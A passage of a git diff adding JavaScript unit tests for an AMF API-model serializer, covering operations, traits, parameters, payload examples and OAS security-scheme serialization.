+        assert.equal(typed.value, 'This operation is deprecated and will be removed.', 'has the value');
+        assert.equal(typed.dataType, serializer.ns.w3.xmlSchema.string, 'has the dataType');
+      });
+  
+      it('adds the request with payloads', () => {
+        const shape = loader.lookupOperation(api, '/files/{fileId}/comments', 'post');
+        const result = serializer.operation(shape);
+        const { request } = result;
+        assert.typeOf(request, 'object', 'has the request');
+        assert.include(request.types, serializer.ns.aml.vocabularies.apiContract.Request, 'has the type');
+        assert.typeOf(request.payloads, 'array', 'has the payloads');
+        assert.isNotEmpty(request.payloads, 'the payloads is set');
+      });
+  
+      it('adds the request with query parameters', () => {
+        const shape = loader.lookupOperation(api, '/files/{fileId}/comments', 'get');
+        const result = serializer.operation(shape);
+        const { request } = result;
+        assert.typeOf(request, 'object', 'has the request');
+        assert.include(request.types, serializer.ns.aml.vocabularies.apiContract.Request, 'has the type');
+        assert.typeOf(request.queryParameters, 'array', 'has the queryParameters');
+        assert.isNotEmpty(request.queryParameters, 'the queryParameters is set');
+      });
+  
+      it('adds the annotations', () => {
+        const shape = loader.lookupOperation(api, '/files', 'post');
+        const result = serializer.operation(shape);
+        const { customDomainProperties } = result;
+        assert.typeOf(customDomainProperties, 'array', 'has the customDomainProperties');
+        const [cdp] = customDomainProperties;
+        assert.typeOf(cdp, 'object', 'has the property');
+        assert.include(cdp.extension.types, serializer.ns.aml.vocabularies.data.Scalar, 'has the type');
+        assert.equal(cdp.name, 'deprecated', 'has the extensionName');
+      });
+  
+      it('adds query parameters from a trait', () => {
+        const shape = loader.lookupOperation(api, '/files/{fileId}/comments', 'get');
+        const result = serializer.operation(shape);
+        const { request } = result;
+        const mr = request.queryParameters.find((p) => p.name === 'maxResults');
+        assert.typeOf(mr, 'object', 'has a queryParameters');
+      });
+    });
+    
+    describe('Traits', () => {
+      before(async () => {
+        api = await loader.getGraph(true, 'arc-demo-api');
+        serializer = new AmfSerializer();
+        serializer.amf = api;
+      });
+  
+      it('adds the traits into the operation', () => {
+        const shape = loader.lookupOperation(api, '/people', 'get');
+        const result = serializer.operation(shape);
+        assert.typeOf(result, 'object', 'has the result');
+        const { extends: extensions } = result;
+        assert.typeOf(extensions, 'array', 'has traits array');
+        assert.lengthOf(extensions, 1, 'has the defined trait');
+        const [trait] = extensions;
+        assert.equal(trait.name, 'Paginated', 'has the trait name');
+      });
+
+      it('serializes the variables', () => {
+        const shape = loader.lookupOperation(api, '/people', 'get');
+        const result = serializer.operation(shape);
+        const { extends: extensions } = result;
+        const [trait] = extensions;
+        const { variables } = trait;
+        assert.typeOf(variables, 'array', 'has traits array');
+        assert.lengthOf(variables, 1, 'has all variables');
+      });
+
+      it('serializes the target', () => {
+        const shape = loader.lookupOperation(api, '/people', 'get');
+        const result = serializer.operation(shape);
+        const { extends: extensions } = result;
+        const [trait] = extensions;
+        const { target } = trait;
+        assert.typeOf(target, 'object', 'has the target');
+        const { name, variables, dataNode } = target;
+        assert.equal(name, 'Paginated', 'has the trait name');
+        assert.typeOf(variables, 'array', 'has traits array');
+        assert.lengthOf(variables, 2, 'has all variables');
+        assert.typeOf(dataNode, 'object', 'has the dataNode');
+      });
+    });
+  });
+});
diff --git a/test/serializer/Parameters.test.js b/test/serializer/Parameters.test.js
new file mode 100644
index 0000000..0efcc3f
--- /dev/null
+++ b/test/serializer/Parameters.test.js
@@ -0,0 +1,147 @@
+import { assert } from '@open-wc/testing';
+import { AmfLoader } from '../AmfLoader.js';
+import { AmfSerializer } from '../../index.js';
+
+/** @typedef {import('../../src/helpers/amf').ScalarShape} ScalarShape */
+/** @typedef {import('../../src/helpers/api').ApiScalarNode} ApiScalarNode */
+
+describe('AmfSerializer', () => {
+  const loader = new AmfLoader();
+
+  describe('RAML parameters', () => {
+    describe('parameter()', () => {
+      let api;
+      /** @type AmfSerializer */
+      let serializer;
+      before(async () => {
+        api = await loader.getGraph(true, 'amf-helper-api');
+        serializer = new AmfSerializer();
+        serializer.amf = api;
+      });
+  
+      it('has the name and the paramName', () => {
+        const op = loader.lookupOperation(api, '/parameters', 'get');
+        const ex = serializer._computeExpects(op);
+        const headers = serializer._computeHeaders(ex);
+        const result = serializer.parameter(headers[0]); // Accept
+        assert.equal(result.name, 'Accept', 'has the name');
+        assert.equal(result.paramName, 'Accept', 'has the paramName');
+      });
+  
+      it('has the description', () => {
+        const op = loader.lookupOperation(api, '/parameters', 'get');
+        const ex = serializer._computeExpects(op);
+        const headers = serializer._computeHeaders(ex);
+        const result = serializer.parameter(headers[0]); // Accept
+        assert.equal(result.description, 'Selects the response\'s media type, when supported.', 'has the name');
+      });
+  
+      it('has the required', () => {
+        const op = loader.lookupOperation(api, '/parameters', 'get');
+        const ex = serializer._computeExpects(op);
+        const headers = serializer._computeHeaders(ex);
+        const header = headers[1]; // x-required
+        const result = serializer.parameter(header);
+        assert.isTrue(result.required);
+      });
+  
+      it('has the binding', () => {
+        const op = loader.lookupOperation(api, '/parameters', 'get');
+        const ex = serializer._computeExpects(op);
+        const headers = serializer._computeHeaders(ex);
+        const header = headers[1]; // x-required
+        const result = serializer.parameter(header);
+        assert.equal(result.binding, 'header');
+      });
+  
+      it('has the example', () => {
+        const op = loader.lookupOperation(api, '/parameters', 'get');
+        const ex = serializer._computeExpects(op);
+        const headers = serializer._computeHeaders(ex);
+        const header = headers[3]; // If-Modified-Since
+        const result = serializer.parameter(header);
+        // the example is passed to the schema.
+        assert.deepEqual(result.examples, []);
+      });
+  
+      it('has the examples', () => {
+        const op = loader.lookupOperation(api, '/parameters', 'get');
+        const ex = serializer._computeExpects(op);
+        const qp = serializer._computeQueryParameters(ex);
+        const param = qp[3]; // combo
+        const result = serializer.parameter(param);
+        // the example is passed to the schema.
+        assert.deepEqual(result.examples, []);
+      });
+    });
+  });
+
+  describe('OAS parameters', () => {
+    let api;
+    /** @type AmfSerializer */
+    let serializer;
+    before(async () => {
+      api = await loader.getGraph(true, 'petstore');
+      serializer = new AmfSerializer();
+      serializer.amf = api;
+    });
+
+    it('has the OAS properties', () => {
+      const op = loader.lookupOperation(api, '/pet/{petId}', 'post');
+      const ex = serializer._computeExpects(op);
+      const params = serializer._computeQueryParameters(ex);
+      const param = params.find(p => serializer._getValue(p, serializer.ns.aml.vocabularies.apiContract.paramName) === 'name');
+      const result = serializer.parameter(param);
+      assert.isFalse(result.required, 'is not required');
+      assert.isTrue(result.deprecated, 'is deprecated');
+      assert.isTrue(result.allowEmptyValue, 'is allowEmptyValue');
+      assert.isTrue(result.explode, 'is explode');
+      assert.isTrue(result.allowReserved, 'is allowReserved');
+      assert.equal(result.style, 'form', 'has style');
+    });
+
+    it('has the content property', () => {
+      const op = loader.lookupOperation(api, '/pet/{petId}', 'post');
+      const ex = serializer._computeExpects(op);
+      const params = serializer._computeQueryParameters(ex);
+      const param = params.find(p => serializer._getValue(p, serializer.ns.aml.vocabularies.apiContract.paramName) === 'filter');
+      const result = serializer.parameter(param);
+      const [p] = result.payloads;
+      assert.include(p.types, serializer.ns.aml.vocabularies.apiContract.Payload, 'has the type');
+      assert.deepEqual(p.customDomainProperties, [], 'has empty customDomainProperties');
+      assert.deepEqual(p.examples, [], 'has empty examples');
+      assert.equal(p.mediaType, 'application/json', 'has mediaType');
+      assert.typeOf(p.schema, 'object', 'has schema');
+    });
+
+    it('has the examples property', () => {
+      // it seems that AMF moves examples from parameter into the schema.
+      // This copies examples from the schema to the top level parameter so we can test it.
+      // Possibly this happens during the resolution phase.
+      const op = loader.lookupOperation(api, '/pet/findByStatus', 'get');
+      const ex = serializer._computeExpects(op);
+      const params = serializer._computeQueryParameters(ex);
+      const param = params.find(p => serializer._getValue(p, serializer.ns.aml.vocabularies.apiContract.paramName) === 'status');
+      const schema = /** @type ScalarShape */ (param[serializer._getAmfKey(serializer.ns.aml.vocabularies.shapes.schema)][0]);
+      const key = serializer._getAmfKey(serializer.ns.aml.vocabularies.apiContract.examples);
+      const info = schema[key];
+      param[key] = info;
+      const result = serializer.parameter(param);
+      const { examples } = result;
+      assert.typeOf(examples, 'array', 'has examples');
+      assert.lengthOf(examples, 1, 'has  a single example');
+      const [example] = examples;
+      assert.equal(example.id, info[0]['@id'], 'has the id');
+      assert.include(example.types, serializer.ns.aml.vocabularies.apiContract.Example, 'has the type');
+      assert.deepEqual(example.customDomainProperties, [], 'has empty customDomainProperties');
+      assert.isTrue(example.strict, 'has strict');
+      assert.equal(example.value, 'pending', 'has the value');
+      const { structuredValue } = example;
+      assert.typeOf(structuredValue, 'object', 'has the structuredValue');
+      assert.equal(structuredValue.name, 'scalar_1', 'has the name');
+      const typed = /** @type ApiScalarNode */ (structuredValue);
+      assert.equal(typed.value, 'pending', 'has the value');
+      assert.equal(typed.dataType, serializer.ns.w3.xmlSchema.string, 'has the dataType');
+    });
+  });
+});
diff --git a/test/serializer/PayloadExamples.test.js b/test/serializer/PayloadExamples.test.js
new file mode 100644
index 0000000..77efd2c
--- /dev/null
+++ b/test/serializer/PayloadExamples.test.js
@@ -0,0 +1,149 @@
+// As part of the optimisation the examples may be referenced in a link
+// shared between different payloads. These test are looking for the 
+// right example for the right payload.
+
+import { assert } from '@open-wc/testing';
+import { AmfLoader } from '../AmfLoader.js';
+import { AmfSerializer } from '../../index.js';
+
+/** @typedef {import('../../src/helpers/api').ApiNodeShape} ApiNodeShape */
+
+describe('Payload examples', () => {
+  const loader = new AmfLoader();
+  const jsonMime = 'application/json';
+  const xmlMime = 'application/xml';
+
+  [true, false].forEach(compact => {
+    let api;
+    /** @type AmfSerializer */
+    let serializer;
+    before(async () => {
+      api = await loader.getGraph(compact, 'amf-helper-api');
+      serializer = new AmfSerializer(api);
+    });
+
+    describe(compact ? 'Compact model' : 'Full model', () => {
+      it('returns a RAML example for the JSON mime', async () => {
+        const shape = loader.lookupRequestPayload(api, '/body-tracking', 'get', jsonMime);
+        const result = serializer.payload(shape);
+
+        const { examples } = /** @type ApiNodeShape */ (result.schema);
+
+        assert.lengthOf(examples, 2, 'has both examples from the type and the payload');
+        const [ex1, ex2] = examples;
+
+        assert.include(ex1.value, 'id: "R34fg663H9KW9MMSKISIhTs1dR7Hss7e"', 'example #1 is type defined example');
+        assert.include(ex2.value, 'id: "R34fg663H9KW9MMSKISI"', 'example #2 is payload defined example (raml)');
+
+        assert.include(ex2.sourceMaps.trackedElement.value, shape['@id'], 'example #2 has tracked value');
+      });
+
+      it('returns a RAML example for the XML mime', async () => {
+        const shape = loader.lookupRequestPayload(api, '/body-tracking', 'get', xmlMime);
+        const result = serializer.payload(shape);
+
+        const { examples } = /** @type ApiNodeShape */ (result.schema);
+
+        assert.lengthOf(examples, 2, 'has both examples from the type and the payload');
+        const [ex1, ex2] = examples;
+
+        assert.include(ex1.value, 'id: "R34fg663H9KW9MMSKISIhTs1dR7Hss7e"', 'example #1 is type defined example');
+        assert.include(ex2.value, 'id: "R34fg663H9KW9MMSKISI"', 'example #2 is payload defined example (raml)');
+
+        assert.include(ex2.sourceMaps.trackedElement.value, shape['@id'], 'example #2 has tracked value');
+      });
+
+      it('returns a JSON example for the JSON mime', async () => {
+        const shape = loader.lookupRequestPayload(api, '/body-tracking', 'put', jsonMime);
+        const result = serializer.payload(shape);
+
+        const { examples } = /** @type ApiNodeShape */ (result.schema);
+
+        assert.lengthOf(examples, 2, 'has both examples from the type and the payload');
+        const [ex1, ex2] = examples;
+        assert.include(ex1.value, 'id: "R34fg663H9KW9MMSKISIhTs1dR7Hss7e"', 'example #1 is type defined example');
+        assert.include(ex2.value, '"id": "R34fg663H9KW9MMSKISI"', 'example #2 is payload defined example (json)');
+
+        assert.include(ex2.sourceMaps.trackedElement.value, shape['@id'], 'example #2 has tracked value');
+      });
+
+      it('returns a XML example for the XML mime', async () => {
+        const shape = loader.lookupRequestPayload(api, '/body-tracking', 'put', xmlMime);
+        const result = serializer.payload(shape);
+
+        const { examples } = /** @type ApiNodeShape */ (result.schema);
+
+        assert.lengthOf(examples, 2, 'has both examples from the type and the payload');
+        const [ex1, ex2] = examples;
+        assert.include(ex1.value, 'id: "R34fg663H9KW9MMSKISIhTs1dR7Hss7e"', 'example #1 is type defined example');
+        assert.include(ex2.value, '<id>Qawer63J73HJ6khjswuqyq62382jG21s</id>', 'example #2 is payload defined example (xml)');
+
+        assert.include(ex2.sourceMaps.trackedElement.value, shape['@id'], 'example #2 has tracked value');
+      });
+
+      it('reuses the same JSON example for the JSON mime', async () => {
+        const shape = loader.lookupRequestPayload(api, '/body-tracking', 'post', jsonMime);
+        const result = serializer.payload(shape);
+
+        const { examples } = /** @type ApiNodeShape */ (result.schema);
+
+        assert.lengthOf(examples, 2, 'has both examples from the type and the payload');
+        const [ex1, ex2] = examples;
+        assert.include(ex1.value, 'id: "R34fg663H9KW9MMSKISIhTs1dR7Hss7e"', 'example #1 is type defined example');
+        assert.include(ex2.value, '"id": "R34fg663H9KW9MMSKISI"', 'example #2 is payload defined example (json)');
+
+        assert.include(ex2.sourceMaps.trackedElement.value, shape['@id'], 'example #2 has tracked value');
+      });
+
+      it('reuses the same XML example for the XML mime', async () => {
+        const shape = loader.lookupRequestPayload(api, '/body-tracking', 'post', xmlMime);
+        const result = serializer.payload(shape);
+
+        const { examples } = /** @type ApiNodeShape */ (result.schema);
+
+        assert.lengthOf(examples, 2, 'has both examples from the type and the payload');
+        const [ex1, ex2] = examples;
+        assert.include(ex1.value, 'id: "R34fg663H9KW9MMSKISIhTs1dR7Hss7e"', 'example #1 is type defined example');
+        assert.include(ex2.value, '<id>Qawer63J73HJ6khjswuqyq62382jG21s</id>', 'example #2 is payload defined example (xml)');
+
+        assert.include(ex2.sourceMaps.trackedElement.value, shape['@id'], 'example #2 has tracked value');
+      });
+
+      it('works when a single mime is used', async () => {
+        const shape = loader.lookupRequestPayload(api, '/body-tracking', 'delete', jsonMime);
+        const result = serializer.payload(shape);
+
+        const { examples } = /** @type ApiNodeShape */ (result.schema);
+
+        assert.lengthOf(examples, 2, 'has both examples from the type and the payload');
+        const [ex1, ex2] = examples;
+        assert.include(ex1.value, 'id: "R34fg663H9KW9MMSKISIhTs1dR7Hss7e"', 'example #1 is type defined example');
+        assert.include(ex2.value, '"id": "R34fg663H9KW9MMSKISI"', 'example #2 is payload defined example (json)');
+
+        assert.include(ex2.sourceMaps.trackedElement.value, shape['@id'], 'example #2 has tracked value');
+      });
+
+      it('serializes type only example when no payload example', async () => {
+        const shape = loader.lookupRequestPayload(api, '/body-tracking', 'patch', jsonMime);
+        const result = serializer.payload(shape);
+
+        const { examples } = /** @type ApiNodeShape */ (result.schema);
+
+        assert.lengthOf(examples, 1, 'has only the type example');
+        const [ex1] = examples;
+        assert.include(ex1.value, 'id: "R34fg663H9KW9MMSKISIhTs1dR7Hss7e"', 'example #1 is type defined example');
+      });
+
+      it('adds example without tracking information', async () => {
+        const shape = loader.lookupRequestPayload(api, '/not-shared', 'post', jsonMime);
+        const result = serializer.payload(shape);
+
+        const { examples } = /** @type ApiNodeShape */ (result.schema);
+
+        assert.lengthOf(examples, 1, 'has only the payload example');
+        const [ex1] = examples;
+        assert.include(ex1.value, 'id: 1234567890', 'example #1 is type defined example');
+      });
+    });
+  })
+});
diff --git a/test/serializer/Security.test.js b/test/serializer/Security.test.js
new file mode 100644
index 0000000..673ce19
--- /dev/null
+++ b/test/serializer/Security.test.js
@@ -0,0 +1,559 @@
+import { assert } from '@open-wc/testing';
+import { AmfLoader } from '../AmfLoader.js';
+import { AmfSerializer } from '../../index.js';
+
+/** @typedef {import('../../src/helpers/api').ApiScalarShape} ApiScalarShape */
+/** @typedef {import('../../src/helpers/api').ApiObjectNode} ApiObjectNode */
+/** @typedef {import('../../src/helpers/api').ApiSecurityOAuth2Settings} ApiSecurityOAuth2Settings */
+/** @typedef {import('../../src/helpers/api').ApiSecurityOAuth1Settings} ApiSecurityOAuth1Settings */
+/** @typedef {import('../../src/helpers/api').ApiSecurityApiKeySettings} ApiSecurityApiKeySettings */
+/** @typedef {import('../../src/helpers/api').ApiSecurityOpenIdConnectSettings} ApiSecurityOpenIdConnectSettings */
+/** @typedef {import('../../src/helpers/api').ApiSecurityHttpSettings} ApiSecurityHttpSettings */
+
+describe('AmfSerializer', () => {
+  const loader = new AmfLoader();
+
+  describe('OAS security', () => {
+    let api;
+    /** @type AmfSerializer */
+    let serializer;
+    before(async () => {
+      api = await loader.getGraph(true, 'oas-3-api');
+      serializer = new AmfSerializer(api);
+    });
+
+    describe('operation security', () => {
+      it('serializes oauth2 scheme', () => {
+        const security = loader.lookupOperationSecurity(api, '/pets', 'get');
+        const result = serializer.securityRequirement(security[0]);
+        assert.equal(result.id, security[0]['@id'], 'has the id');
+        assert.include(result.types, serializer.ns.aml.vocabularies.security.securityRequirement, 'has the types');
+        assert.deepEqual(result.customDomainProperties, [], 'has no customDomainProperties');
+        assert.typeOf(result.sourceMaps, 'object', 'has source maps');
+        assert.typeOf(result.schemes, 'array', 'has schemes');
+        assert.lengthOf(result.schemes, 1, 'has single scheme');
+        const [scheme] = result.schemes;
+        assert.include(scheme.types, serializer.ns.aml.vocabularies.security.ParametrizedSecurityScheme, 'scheme has the types');
+        assert.deepEqual(scheme.customDomainProperties, [], 'scheme has no customDomainProperties');
+        assert.typeOf(scheme.sourceMaps, 'object', 'scheme has source maps');
+        assert.equal(scheme.name, 'petstore_auth', 'scheme has name');
+        
+        const secScheme = scheme.scheme;
+        assert.include(secScheme.types, serializer.ns.aml.vocabularies.security.SecurityScheme, 'settings has the types');
+        assert.deepEqual(secScheme.customDomainProperties, [], 'settings has no customDomainProperties');
+        assert.deepEqual(secScheme.headers, [], 'settings has headers');
+        assert.deepEqual(secScheme.queryParameters, [], 'settings has queryParameters');
+        assert.deepEqual(secScheme.responses, [], 'settings has responses');
+        assert.typeOf(secScheme.sourceMaps, 'object', 'settings has source maps');
+        assert.isUndefined(secScheme.queryString, 'settings has no queryString');
+        assert.equal(secScheme.name, 'petstore_auth', 'settings has name');
+        assert.isUndefined(secScheme.displayName, 'settings has no displayName');
+        assert.isUndefined(secScheme.description, 'settings has description');
+        assert.equal(secScheme.type, 'OAuth 2.0', 'settings has type');
+        
+        const oauth2Settings = /** @type ApiSecurityOAuth2Settings */ (secScheme.settings);
+        assert.deepEqual(oauth2Settings.authorizationGrants, [], 'has the authorizationGrants');
+        assert.lengthOf(oauth2Settings.flows, 1, 'has the flows');
+        assert.typeOf(oauth2Settings.sourceMaps, 'object', 'oauth2Settings has source maps');
+        
+        const [flow] = oauth2Settings.flows;
+        assert.typeOf(flow.scopes, 'array', 'the flow has scopes');
+        assert.lengthOf(flow.scopes, 2, 'the flow has 2 scopes');
+        assert.equal(flow.authorizationUri, 'http://example.org/api/oauth/dialog', 'the flow has authorizationUri');
+        assert.equal(flow.refreshUri, 'http://example.org/api/refresh', 'the flow has refreshUri');
+        assert.equal(flow.flow, 'implicit', 'the flow has flow');
+      });
+
+      it('serializes API key scheme', () => {
+        const security = loader.lookupOperationSecurity(api, '/securityCombo', 'get');
+        const result = serializer.securityRequirement(security[1]);
+        assert.equal(result.id, security[1]['@id'], 'has the id');
+        assert.include(result.types, serializer.ns.aml.vocabularies.security.securityRequirement, 'has the types');
+        assert.deepEqual(result.customDomainProperties, [], 'has no customDomainProperties');
+        assert.typeOf(result.sourceMaps, 'object', 'has source maps');
+        assert.typeOf(result.schemes, 'array', 'has schemes');
+        assert.lengthOf(result.schemes, 1, 'has single scheme');
+        const [scheme] = result.schemes;
+        assert.include(scheme.types, serializer.ns.aml.vocabularies.security.ParametrizedSecurityScheme, 'scheme has the types');
+        assert.deepEqual(scheme.customDomainProperties, [], 'scheme has no customDomainProperties');
+        assert.typeOf(scheme.sourceMaps, 'object', 'scheme has source maps');
+        assert.equal(scheme.name, 'api_key', 'scheme has name');
+        
+        const secScheme = scheme.scheme;
+        assert.include(secScheme.types, serializer.ns.aml.vocabularies.security.SecurityScheme, 'settings has the types');
+        assert.deepEqual(secScheme.customDomainProperties, [], 'settings has no customDomainProperties');
+        assert.deepEqual(secScheme.headers, [], 'settings has headers');
+        assert.deepEqual(secScheme.queryParameters, [], 'settings has queryParameters');
+        assert.deepEqual(secScheme.responses, [], 'settings has responses');
+        assert.typeOf(secScheme.sourceMaps, 'object', 'settings has source maps');
+        assert.isUndefined(secScheme.queryString, 'settings has no queryString');
+        assert.equal(secScheme.name, 'api_key', 'settings has name');
+        assert.isUndefined(secScheme.displayName, 'settings has no displayName');
+        assert.isUndefined(secScheme.description, 'settings has description');
+        assert.equal(secScheme.type, 'Api Key', 'settings has type');
+        
+        const apiKeySettings = /** @type ApiSecurityApiKeySettings */ (secScheme.settings);
+        assert.typeOf(apiKeySettings.sourceMaps, 'object', 'apiKeySettings has source maps');
+        assert.deepEqual(apiKeySettings.customDomainProperties, [], 'apiKeySettings has customDomainProperties');
+        assert.equal(apiKeySettings.in, 'header', 'apiKeySettings has in');
+      });
+
+      it('serializes OpenID scheme', () => {
+        const security = loader.lookupOperationSecurity(api, '/securityCombo', 'get');
+        const result = serializer.securityRequirement(security[2]);
+        assert.equal(result.id, security[2]['@id'], 'has the id');
+        assert.include(result.types, serializer.ns.aml.vocabularies.security.securityRequirement, 'has the types');
+        assert.deepEqual(result.customDomainProperties, [], 'has no customDomainProperties');
+        assert.typeOf(result.sourceMaps, 'object', 'has source maps');
+        assert.typeOf(result.schemes, 'array', 'has schemes');
+        assert.lengthOf(result.schemes, 1, 'has single scheme');
+        const [scheme] = result.schemes;
+        assert.include(scheme.types, serializer.ns.aml.vocabularies.security.ParametrizedSecurityScheme, 'scheme has the types');
+        assert.deepEqual(scheme.customDomainProperties, [], 'scheme has no customDomainProperties');
+        assert.typeOf(scheme.sourceMaps, 'object', 'scheme has source maps');
+        assert.equal(scheme.name, 'OpenID', 'scheme has name');
+        
+        const secScheme = scheme.scheme;
+        assert.include(secScheme.types, serializer.ns.aml.vocabularies.security.SecurityScheme, 'settings has the types');
+        assert.deepEqual(secScheme.customDomainProperties, [], 'settings has no customDomainProperties');
+        assert.deepEqual(secScheme.headers, [], 'settings has headers');
+        assert.deepEqual(secScheme.queryParameters, [], 'settings has queryParameters');
+        assert.deepEqual(secScheme.responses, [], 'settings has responses');
+        assert.typeOf(secScheme.sourceMaps, 'object', 'settings has source maps');
+        assert.isUndefined(secScheme.queryString, 'settings has no queryString');
+        assert.equal(secScheme.name, 'OpenID', 'settings has name');
+        assert.isUndefined(secScheme.displayName, 'settings has no displayName');
+        assert.equal(secScheme.description, 'Using OpenId', 'settings has description');
+        assert.equal(secScheme.type, 'openIdConnect', 'settings has type');
+        
+        const apiKeySettings = /** @type ApiSecurityOpenIdConnectSettings */ (secScheme.settings);
+        assert.typeOf(apiKeySettings.sourceMaps, 'object', 'apiKeySettings has source maps');
+        assert.deepEqual(apiKeySettings.customDomainProperties, [], 'apiKeySettings has customDomainProperties');
+        assert.equal(apiKeySettings.url, 'https://example.com/.well-known/openid-configuration', 'apiKeySettings has in');
+      });
+
+      it('serializes basic HTTP', () => {
+        const security = loader.lookupOperationSecurity(api, '/http-security', 'get');
+        const result = serializer.securityRequirement(security[0]);
+        assert.equal(result.id, security[0]['@id'], 'has the id');
+        assert.include(result.types, serializer.ns.aml.vocabularies.security.securityRequirement, 'has the types');
+        assert.deepEqual(result.customDomainProperties, [], 'has no customDomainProperties');
+        assert.typeOf(result.sourceMaps, 'object', 'has source maps');
+        assert.typeOf(result.schemes, 'array', 'has schemes');
+        assert.lengthOf(result.schemes, 1, 'has single scheme');
+        const [scheme] = result.schemes;
+        assert.include(scheme.types, serializer.ns.aml.vocabularies.security.ParametrizedSecurityScheme, 'scheme has the types');
+        assert.deepEqual(scheme.customDomainProperties, [], 'scheme has no customDomainProperties');
+        assert.typeOf(scheme.sourceMaps, 'object', 'scheme has source maps');
+        assert.equal(scheme.name, 'BasicAuth', 'scheme has name');
+        
+        const secScheme = scheme.scheme;
+        assert.include(secScheme.types, serializer.ns.aml.vocabularies.security.SecurityScheme, 'settings has the types');
+        assert.deepEqual(secScheme.customDomainProperties, [], 'settings has no customDomainProperties');
+        assert.deepEqual(secScheme.headers, [], 'settings has headers');
+        assert.deepEqual(secScheme.queryParameters, [], 'settings has queryParameters');
+        assert.deepEqual(secScheme.responses, [], 'settings has responses');
+        assert.typeOf(secScheme.sourceMaps, 'object', 'settings has source maps');
+        assert.isUndefined(secScheme.queryString, 'settings has no queryString');
+        assert.equal(secScheme.name, 'BasicAuth', 'settings has name');
+        assert.isUndefined(secScheme.displayName, 'settings has no displayName');
+        assert.equal(secScheme.description, 'A basic HTTP scheme', 'settings has description');
+        assert.equal(secScheme.type, 'http', 'settings has type');
+        
+        const secSettings = /** @type ApiSecurityHttpSettings */ (secScheme.settings);
+        assert.typeOf(secSettings.sourceMaps, 'object', 'secSettings has source maps');
+        assert.deepEqual(secSettings.customDomainProperties, [], 'secSettings has customDomainProperties');
+        assert.equal(secSettings.scheme, 'basic', 'secSettings has in');
+      });
+
+      it('serializes Bearer auth', () => {
+        const security = loader.lookupOperationSecurity(api, '/http-security', 'post');
+        const result = serializer.securityRequirement(security[0]);
+        assert.equal(result.id, security[0]['@id'], 'has the id');
+        assert.include(result.types, serializer.ns.aml.vocabularies.security.securityRequirement, 'has the types');
+        assert.deepEqual(result.customDomainProperties, [], 'has no customDomainProperties');
+        assert.typeOf(result.sourceMaps, 'object', 'has source maps');
+        assert.typeOf(result.schemes, 'array', 'has schemes');
+        assert.lengthOf(result.schemes, 1, 'has single scheme');
+        const [scheme] = result.schemes;
+        assert.include(scheme.types, serializer.ns.aml.vocabularies.security.ParametrizedSecurityScheme, 'scheme has the types');
+        assert.deepEqual(scheme.customDomainProperties, [], 'scheme has no customDomainProperties');
+        assert.typeOf(scheme.sourceMaps, 'object', 'scheme has source maps');
+        assert.equal(scheme.name, 'BearerAuth', 'scheme has name');
+        
+        const secScheme = scheme.scheme;
+        assert.include(secScheme.types, serializer.ns.aml.vocabularies.security.SecurityScheme, 'settings has the types');
+        assert.deepEqual(secScheme.customDomainProperties, [], 'settings has no customDomainProperties');
+        assert.deepEqual(secScheme.headers, [], 'settings has headers');
+        assert.deepEqual(secScheme.queryParameters, [], 'settings has queryParameters');
+        assert.deepEqual(secScheme.responses, [], 'settings has responses');
+        assert.typeOf(secScheme.sourceMaps, 'object', 'settings has source maps');
+        assert.isUndefined(secScheme.queryString, 'settings has no queryString');
+        assert.equal(secScheme.name, 'BearerAuth', 'settings has name');
+        assert.isUndefined(secScheme.displayName, 'settings has no displayName');
+        assert.equal(secScheme.description, 'Bearer form of authentication', 'settings has description');
+        assert.equal(secScheme.type, 'http', 'settings has type');
+        
+        const secSettings = /** @type ApiSecurityHttpSettings */ (secScheme.settings);
+        assert.typeOf(secSettings.sourceMaps, 'object', 'secSettings has source maps');
+        assert.deepEqual(secSettings.customDomainProperties, [], 'secSettings has customDomainProperties');
+        assert.equal(secSettings.scheme, 'bearer', 'secSettings has in');
+      });
+
+      it('serializes auth with cookies', () => {
+        const security = loader.lookupOperationSecurity(api, '/http-security', 'patch');
+        const result = serializer.securityRequirement(security[0]);
+        assert.equal(result.id, security[0]['@id'], 'has the id');
+        assert.include(result.types, serializer.ns.aml.vocabularies.security.securityRequirement, 'has the types');
+        assert.deepEqual(result.customDomainProperties, [], 'has no customDomainProperties');
+        assert.typeOf(result.sourceMaps, 'object', 'has source maps');
+        assert.typeOf(result.schemes, 'array', 'has schemes');
+        assert.lengthOf(result.schemes, 1, 'has single scheme');
+        const [scheme] = result.schemes;
+        assert.include(scheme.types, serializer.ns.aml.vocabularies.security.ParametrizedSecurityScheme, 'scheme has the types');
+        assert.deepEqual(scheme.customDomainProperties, [], 'scheme has no customDomainProperties');
+        assert.typeOf(scheme.sourceMaps, 'object', 'scheme has source maps');
+        assert.equal(scheme.name, 'cookieAuth', 'scheme has name');
+        
+        const secScheme = scheme.scheme;
+        assert.include(secScheme.types, serializer.ns.aml.vocabularies.security.SecurityScheme, 'settings has the types');
+        assert.deepEqual(secScheme.customDomainProperties, [], 'settings has no customDomainProperties');
+        assert.deepEqual(secScheme.headers, [], 'settings has headers');
+        assert.deepEqual(secScheme.queryParameters, [], 'settings has queryParameters');
+        assert.deepEqual(secScheme.responses, [], 'settings has responses');
+        assert.typeOf(secScheme.sourceMaps, 'object', 'settings has source maps');
+        assert.isUndefined(secScheme.queryString, 'settings has no queryString');
+        assert.equal(secScheme.name, 'cookieAuth', 'settings has name');
+        assert.isUndefined(secScheme.displayName, 'settings has no displayName');
+        assert.isUndefined(secScheme.description, 'settings has description');
+        assert.equal(secScheme.type, 'Api Key', 'settings has type');
+        
+        const secSettings = /** @type ApiSecurityApiKeySettings */ (secScheme.settings);
+        assert.typeOf(secSettings.sourceMaps, 'object', 'secSettings has source maps');
+        assert.deepEqual(secSettings.customDomainProperties, [], 'secSettings has customDomainProperties');
+        assert.equal(secSettings.in, 'cookie', 'secSettings has in');
+        assert.equal(secSettings.name, 'JSESSIONID', 'secSettings has in');
+      });
+
+      it('serializes auth with query params', () => {
+        const security = loader.lookupOperationSecurity(api, '/http-security', 'options');
+        const result = serializer.securityRequirement(security[0]);
+        assert.equal(result.id, security[0]['@id'], 'has the id');
+        assert.include(result.types, serializer.ns.aml.vocabularies.security.securityRequirement, 'has the types');
+        assert.deepEqual(result.customDomainProperties, [], 'has no customDomainProperties');
+        assert.typeOf(result.sourceMaps, 'object', 'has source maps');
+        assert.typeOf(result.schemes, 'array', 'has schemes');
+        assert.lengthOf(result.schemes, 1, 'has single scheme');
+        const [scheme] = result.schemes;
+        assert.include(scheme.types, serializer.ns.aml.vocabularies.security.ParametrizedSecurityScheme, 'scheme has the types');
+        assert.deepEqual(scheme.customDomainProperties, [], 'scheme has no customDomainProperties');
